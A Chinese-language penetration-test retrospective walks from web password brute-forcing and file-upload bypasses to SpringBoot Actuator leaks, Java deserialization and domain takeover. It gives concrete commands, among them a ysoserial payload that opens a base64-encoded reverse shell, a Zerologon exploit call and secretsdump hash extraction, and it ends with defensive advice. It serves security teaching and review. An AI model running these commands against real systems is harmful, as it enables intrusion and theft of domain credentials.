从Web打点到域控:一次基于经典漏洞链的实战渗透复盘

📅 2026/7/16 22:35:10
从Web打点到域控:一次基于经典漏洞链的实战渗透复盘
1. 从Web打点到域控的渗透测试概述渗透测试就像一场精心策划的数字迷宫探险而这次我们要走通的是一条从Web入口直捣域控的经典路径。想象一下攻击者就像拿着万能钥匙的小偷而我们的任务就是模拟这个小偷的每一步动作看看他是怎么从大门一路摸到保险柜的。我最近复盘了一次典型的渗透测试过程目标是一个中等规模的企业网络。这类网络通常有几个明显特征对外提供Web服务、内网划分多个网段、使用域控制器管理权限。攻击者往往会先找到Web系统的薄弱点然后像玩跳格子游戏一样从一个漏洞跳到另一个漏洞最终拿到域控这个王冠上的宝石。整个过程可以分成两个主要阶段Web打点和内网横向移动。Web打点阶段主要关注如何从外部突破边界常见入口包括弱口令登录、文件上传漏洞、SpringBoot未授权访问等。一旦进入内网游戏就进入了第二阶段——横向移动这时候反序列化漏洞、信息收集技巧和域控提权方法就派上用场了。2. Web打点阶段的漏洞利用2.1 弱口令爆破实战弱口令就像把钥匙藏在门垫下面——太容易被发现了。在这次测试中我首先收集了所有可能的登录页面包括后台管理系统、API接口等。这里有个小技巧用爬虫工具爬取网站时要特别注意那些带login、admin、console等关键词的路径。我准备了几个高质量的字典常用用户名组合admin/administrator/root等常见弱密码123456/admin123等目标企业名称相关的组合公司缩写年份等使用WebCrack工具进行爆破时要注意这些细节python3 webcrack.py -u http://target.com/login -U users.txt -P passwords.txt -t 20参数-t控制线程数太大会被WAF拦截太小速度慢。遇到验证码怎么办可以尝试识别绕过或者寻找没有验证码的接口。2.2 文件上传漏洞的利用通过弱口令进入后台后我马上开始寻找文件上传功能。文件上传点就像系统的后门——如果没锁好攻击者就能溜进来。常见的绕过手法有修改Content-Type为image/png使用双后缀名shell.php.jpg利用00截断shell.php%00.jpg大小写混淆sHell.PhP上传成功后我遇到了第一个障碍虽然拿到了Webshell但这台服务器是独立的没有连接内网。这时候就需要继续寻找其他突破口。2.3 SpringBoot未授权访问SpringBoot的Actuator端点是个信息金矿。我尝试访问了几个常见路径/env /actuator/env /autoconfig幸运的是/autoconfig端点暴露了云服务的AccessKey。拿到AccessKey后我使用aws-cli成功登录但发现这是个空服务器——又一条死胡同。这时候需要转换思路我开始检查其他SpringBoot端点curl http://target.com/actuator/mappings | jq这个命令可以列出所有API接口帮助发现隐藏的功能点。3. 内网横向移动技术3.1 通过反序列化突破边界Java反序列化漏洞是我的突破口。发现目标使用了Apache Commons Collections 3.1版本——这是个经典的有漏洞版本。使用ysoserial工具生成payloadjava -jar ysoserial.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82MzAwMCAwPiYx}|{base64,-d}|{bash,-i} payload.bin这个payload会反弹shell到我的服务器。成功执行后我终于进入了内网发现了192.168.0.0/16和172.16.0.0/16两个网段。3.2 内网信息收集进入内网后我首先进行了快速扫描./fscan -h 192.168.1.1/24发现了几个关键信息多台服务器存在445端口开放可能存在永恒之蓝漏洞一台服务器运行着JBoss服务某台机器开放了5985端口WinRM远程管理使用smbclient检查共享资源smbclient -L //192.168.1.100 -U administrator%password发现了几个有趣的共享文件夹其中有一个包含数据库连接字符串的配置文件。3.3 域控提权实战通过收集的信息我定位到了域控制器DC。使用nltest命令验证nltest /dclist:domain.com发现目标存在zerologon漏洞CVE-2020-1472这是个致命的域控漏洞。使用zerologon漏洞利用工具python3 zerologon.py DC01 192.168.1.10成功后可以将域控的机器账户密码置空然后使用secretsdump.py提取所有域用户的哈希secretsdump.py -no-pass DC01\$192.168.1.10最后使用wmiexec.py以域管理员身份执行命令完成整个渗透过程。4. 防御建议与思考从防御角度看这次渗透暴露了几个关键问题边界防护薄弱Web应用存在多个高危漏洞内网缺乏分段攻击者可以自由扫描整个内网补丁管理缺失未及时修复已知漏洞具体防御措施包括对所有外网系统启用多因素认证定期审计API接口和敏感端点在内网部署微分段策略建立完善的补丁管理流程渗透测试就像一面镜子照出系统安全的真实状态。通过复盘这次测试我深刻体会到安全是一个持续的过程而不是一劳永逸的状态。攻击者只需要找到一个漏洞就能突破而防御者必须堵住所有可能的缺口——这场不对称的战争正是安全工作的挑战所在。